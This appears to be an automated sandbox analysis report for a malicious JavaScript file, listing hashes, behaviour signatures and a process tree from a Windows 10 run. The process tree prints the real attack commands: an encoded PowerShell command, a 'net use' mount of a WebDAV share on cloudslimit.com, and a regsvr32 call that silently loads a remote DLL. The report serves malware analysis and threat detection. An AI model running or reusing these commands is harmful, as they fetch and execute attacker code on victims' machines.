Analysis

  • max time kernel
    135s
  • max time network
    106s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-08-2024 15:39

General

  • Target

    70ec5624f3d3b10e06cc21ff625d8871f81e4d5de1ee2c921a963df7a4015c58.js

  • Size

    14KB

  • MD5

    f565069bbe97855d32a7e9858d4b8ef6

  • SHA1

    d3344bd0537addf599ea6682c5871c65887888b0

  • SHA256

    70ec5624f3d3b10e06cc21ff625d8871f81e4d5de1ee2c921a963df7a4015c58

  • SHA512

    ae791a1cf92182dcc7c105204fca1f2e275daa8e1724d440d79f25e5111d56d7afa07290b88059238003f46b0b8e2ee0ecd989f07c44689ef2a4f7e64463d2d1

  • SSDEEP

    96:Ulm1iYg+hW6LOQFLrIjHOZqlfKXq+OdhDidHclR7DewP3/vIkP0OqRozopEGv558:SO7hlsebzE5Pn4H63wC

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\70ec5624f3d3b10e06cc21ff625d8871f81e4d5de1ee2c921a963df7a4015c58.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2360
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADEAOQA5ADQAMgAwADIAMAA1ADUAOQAzADUALgBkAGwAbAA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5056
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
        3⤵
          PID:4164
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\11994202055935.dll
          3⤵
            PID:1948

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_krrrazvc.nzc.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/5056-0-0x00007FFDF8713000-0x00007FFDF8715000-memory.dmp

        Filesize

        8KB

      • memory/5056-1-0x000001AA61CA0000-0x000001AA61CC2000-memory.dmp

        Filesize

        136KB

      • memory/5056-11-0x00007FFDF8710000-0x00007FFDF91D1000-memory.dmp

        Filesize

        10.8MB

      • memory/5056-12-0x00007FFDF8710000-0x00007FFDF91D1000-memory.dmp

        Filesize

        10.8MB

      • memory/5056-15-0x00007FFDF8710000-0x00007FFDF91D1000-memory.dmp

        Filesize

        10.8MB